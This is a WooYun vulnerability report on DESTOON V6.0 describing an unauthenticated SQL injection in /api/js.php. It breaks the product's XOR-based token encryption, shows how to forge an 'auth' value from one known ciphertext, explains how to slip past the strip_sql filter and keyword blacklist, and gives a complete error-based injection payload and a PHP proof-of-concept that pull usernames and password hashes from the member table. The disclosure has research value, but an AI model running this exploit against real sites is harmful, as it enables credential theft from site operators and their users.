当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141905

漏洞标题:DESTOON V6.0 (2015-09-16) 前台无需登入sql 注入一枚

相关厂商:DESTOON

漏洞作者: roker

提交时间:2015-09-18 10:26

修复时间:2015-12-17 16:50

公开时间:2015-12-17 16:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-18: 细节已通知厂商并且等待厂商处理中
2015-09-18: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向第三方安全合作伙伴开放
2015-11-12: 细节向核心白帽子及相关领域专家公开
2015-11-22: 细节向普通白帽子公开
2015-12-02: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

看了一晚上。还好挖到了、
涉及算法(非暴力),以及一些sql姿势。
通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = =
写了这么多,其实我就是想求个精华~

详细说明:

---------------------------------------------------------------------
#1 算法剖析篇
-------------
相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。

function encrypt($txt, $key = '') {
$key or $key = DT_KEY;
$rnd = random(32);
$txt = $txt.substr($key, 0, 3);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);
}
return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key)));
}
function decrypt($txt, $key = '') {
$key or $key = DT_KEY;
$txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key);
$len = strlen($txt);
$str = '';
for($i = 0; $i < $len; $i++) {
$tmp = $txt[$i];
$str .= $txt[++$i] ^ $tmp;
}
return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';
}
function kecrypt($txt, $key) {
$key = md5($key);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $txt[$i] ^ $key[$ctr++];
}
return $str;
}


可以看到 iv向量由原来的 $rnd = md5(microtime()) 变成了 $rnd = random(32);
如果仅仅是这样的话 ,倒是可以很快逆出来的,
但是,可以看到它增加了

return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';


用于判断数据的完整性。我们逆向推导下密文的还原过程。
1. 首先 base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt) 进行特殊符号替换和base64解码。
2. 带入 kecrypt.
(由于数学公式不好打 所以上传图片了- -)

d1.png


d2.png

d3.png


结论:
对于密文的前N-6位,第i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)
对于密文的后6位,当两个密文的长度 与32的余数 相等时,其值不变。
也就是说 ,要获取长度为x的明文所对应的密文,只要知道另一个为y的明文所对应的密文即可。其中

(2x+6)%32=(2y+6)%32.


-----------------------------------------------
#2 waf绕过
-----------
在/api/js.php中,

<?php
$_SERVER['REQUEST_URI'] = '';
require '../common.inc.php';
header("Content-type:text/javascript");
check_referer() or exit('document.write("<h2>Invalid Referer</h2>");');
$tag = isset($auth) ? strip_sql(decrypt($auth)) : '';
$tag or exit('document.write("<h2>Bad Parameter</h2>");');
foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');
}
ob_start();
tag($tag);
$data = ob_get_contents();
ob_clean();
echo 'document.write(\''.dwrite($data ? $data : 'No Data or Bad Parameter').'\');';
?>


调用了,跟到 tag

function tag($parameter, $expires = 0) {
.....//省去无意义代码
parse_str($parameter, $par);
if(!is_array($par)) return '';
$par = dstripslashes($par);
extract($par, EXTR_SKIP);
......
$order = $order ? ' ORDER BY '.$order : '';
.......
$query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;


可以看到 fields table condition order offset pagesize 都无单引号包裹
然而由于

foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');


我们只能控制 condition order offset pagesize了
接下来就是绕过 strip_sql了。

function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('unio&#110;','wher&#101;','outfil&#101;','dumpfil&#101;','0&#120;\\1','selec&#116;\\1from','selec&#116;\\1','updat&#101;\\1','replac&#101;\\1','delet&#101;\\1','dro&#112;\\1','load_fil&#101;(','substrin&#103;(','subst&#114;(','lef&#116;(','conca&#116;(','concat_w&#115;(','make_se&#116;(','asci&#105;(','he&#120;(','or&#100;(','cha&#114;(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('&#100;', '&#101;', '&#103;', '&#105;', '&#110;','&#112;', '&#114;', '&#115;', '&#116;', '&#120;'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string);
}
}


这过滤简直可怕。
select任意字符from 以及select xxx都不行,
但是注意,limit后面的$offset.",".$pagesize; 是拼接起来的。
我们这样提交pagesize=from&offset=select xxx&moduleid=2&condition=userid=1 就可以绕过 select * from 的检测,
然后 select{x(name)} 绕过 select xxx。
为了方便 ,开启debug进行报错注入演示。
测试的payload为

pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1


一共 193字节。根据前面的公式 (2x+6)%32=(2y+6)%32 我们只要找一个已知明文为17字节的密文即可构造了。
在 公司联系方式这个地方可以很快的找到。

4.png


漏洞证明:

填入poc。

<?php
function cracked($Expressly,$Ciphertext,$str){
$Ciphertext=str_replace(array('-P-', '-S-', '-Z-', '-X-'),array('+', '/', '0x', '0X'),$Ciphertext);
$Ciphertext = base64_decode($Ciphertext);
$c=strlen($Ciphertext);
$text2="a";
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
$text1=$tmp^$text2;
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
for($i=5;$i>=1;$i=$i-2){
$tmp=$Ciphertext[$c-$i]^$Ciphertext[$c-$i-1]^'a';
$xxoo = $xxoo.'a'.$tmp;
}
echo str_replace(array('+', '/', '0x', '0X'),array('-P-', '-S-', '-Z-', '-X-'),base64_encode($xxoo));
}
cracked("[email protected]","f018SggzVGUtHlo6J0ZaOg5rekJ6bnUGdQBgF1FhKURALgJiClMrTg",'pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1');
?>


将得到的值填入auth
提交/api/js.php?auth=xxx
修改下 Referer 即可注入。

11.png

修复方案:

算法改下。可以参考dz的

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-18 16:48

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无